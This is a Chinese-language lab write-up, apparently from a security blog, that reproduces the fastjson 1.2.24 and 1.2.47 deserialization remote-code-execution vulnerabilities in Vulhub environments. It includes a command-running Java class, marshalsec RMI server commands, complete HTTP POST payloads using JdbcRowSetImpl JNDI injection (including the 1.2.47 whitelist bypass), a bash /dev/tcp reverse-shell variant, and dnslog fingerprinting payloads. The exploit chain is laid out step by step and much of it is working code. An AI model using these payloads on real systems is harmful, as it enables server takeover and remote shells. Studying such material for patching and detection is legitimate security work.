[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE


fastjson 1.2.24 反序列化导致任意命令执行https://blog.csdn.net/xinghun_4/article/details/45787549

JNDI:
jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI APIhttps://blog.csdn.net/u011479200/article/details/108246846


0x01 漏洞描述

FastJson库是Java的一个Json库,其作用是将Java对象转换成json数据来表示,也可以将json数据转换成Java对象。

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

fastjson特性:

  1. 提供服务器端、安卓客户端两种解析工具,性能表现较好。
  2. 提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。
  3. 允许转换预先存在的无法修改的对象(只有class、无源代码)。
  4. Java泛型的广泛支持。
  5. 允许对象的自定义表示、允许自定义序列化类。
  6. 支持任意复杂对象(具有深厚的继承层次和广泛使用的泛型类型)。

0x02 影响版本

fastjson <= 1.2.24


0x03 靶场环境

fastjson 1.2.24:https://vulhub.org/#/environments/fastjson/1.2.24-rce/


0x04 漏洞分析

JSON 还原回Object 的方法,主要的API有两个,分别是JSON.parseObjectJSON.parse,最主要的区别就是前者返回的是JSONObject而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用JSON.parseObject来获取数据。

fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作。

源码分析:
https://www.freebuf.com/vuls/178012.html
http://xxlegend.com/2017/04/29/


0x05 漏洞复现

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出:
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
向这个地址POST一个JSON对象,即可更新服务端的信息:[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令:

保存以下代码为TouchFile.java文件(文件名与类名要一致否则会报错):

// javac TouchFile.java import java.lang.Runtime; import java.lang.Process;  public class TouchFile {     static {         try {             Runtime rt = Runtime.getRuntime();             String[] commands = {"touch", "/tmp/success"};             Process pc = rt.exec(commands);             pc.waitFor();         } catch (Exception e) {             // do nothing         }     } } 

执行代码生成TouchFile.class文件:javac TouchFile.java
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
使用marshalsec项目,启动RMI服务:
marshalsec项目下载地址:https://github.com/mbechler/marshalsec.git
下载好之后用mvn打包:mvn clean p[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
成功之后target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件:
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
然后先把编译好的class文件传到外网系统中,用python起一个简单的http服务:python -m SimpleHTTPServer 12581
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE

开启RMI服务,监听9999端口,并制定加载远程类TouchFile.classjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://10.11.34.231:12581/#TouchFile" 9999(后来换了个ip,意思一样问题不大)
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE向靶机发送payload,带上RMI地址:

POST / HTTP/1.1 Host: 192.168.1.142:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 163  {     "b":{         "@type":"com.sun.rowset.JdbcRowSetImpl",         "dataSourceName":"rmi://192.168.1.142:9999/TouchFile",         "autoCommit":true     } } 
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
登录靶机,文件已成功创建:
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
攻击机效果截图:
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE

0x06 反弹shell

只需要改一下执行命令即可,将TouchFile.java内容改为:

// javac TouchFile.java import java.lang.Runtime; import java.lang.Process;  public class TouchFile {     static {         try {             Runtime rt = Runtime.getRuntime();             String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.142/7777 0>&1"};             Process pc = rt.exec(commands);             pc.waitFor();         } catch (Exception e) {             // do nothing         }     } } 

之后重复上述操作,在攻击机监听7777端口,抓包修改重放后就会得到反弹shell了:
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE


0x07 Fastjson指纹特征

  1. 根据返回包判断:
    任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽,如果屏蔽使用其它办法。
  2. 利用dnslog盲打:
    构造以下payload,利用dnslog平台接收:{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
    [Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
    查看平台返回结果:
    [Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
    1.2.67 版本后 payload:
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} # 畸形: {"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}} 

fastjson 1.2.47 远程命令执行漏洞

0x00 漏洞描述

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。


0x01 影响版本

fastjson <= 1.2.47


0x02 靶场环境

fastjson 1.2.47:https://vulhub.org/#/environments/fastjson/1.2.47-rce/


0x03 漏洞分析

在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

源码分析:
https://www.freebuf.com/vuls/208339.html
https://cert.360.cn/warning/detail?id=7240


0x04 漏洞复现

环境启动后,访问http://your-ip:8090即可看到一个json对象被返回:
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
content-type修改为application/json后可向其POST新的JSON对象,后端会利用fastjson进行解析:
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE故意构造一个不完整的json发送请求,会发现响应包会有fastjson字段:
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
利用dnslog平台验证:{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
查看平台返回结果:
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
复现流程与 1.2.24 版本相同,只是传入的payload不同:

POST / HTTP/1.1 Host: 192.168.1.142:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 265  {     "a":{         "@type":"java.lang.Class",         "val":"com.sun.rowset.JdbcRowSetImpl"     },     "b":{         "@type":"com.sun.rowset.JdbcRowSetImpl",         "dataSourceName":"rmi://192.168.1.143:9999/TouchFile",         "autoCommit":true     } } 

攻击机监听得到反弹shell:
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
攻击成功效果截图:
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE


参考链接:
https://www.freebuf.com/articles/web/242712.html(Fastjson1.2.24漏洞复现详细过程)
https://www.freebuf.com/vuls/178012.html(Fastjson 1.2.24反序列化漏洞分析)
http://xxlegend.com/2017/04/29/(fastjson 远程反序列化poc的构造和分析 )
https://www.freebuf.com/vuls/208339.html(浅谈Fastjson RCE漏洞的绕过史)
https://cert.360.cn/warning/detail?id=7240(FastJson 远程代码执行漏洞分析报告)

版权声明:玥玥 发表于 2021-08-15 20:51:11。
转载请注明:[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE | 女黑客导航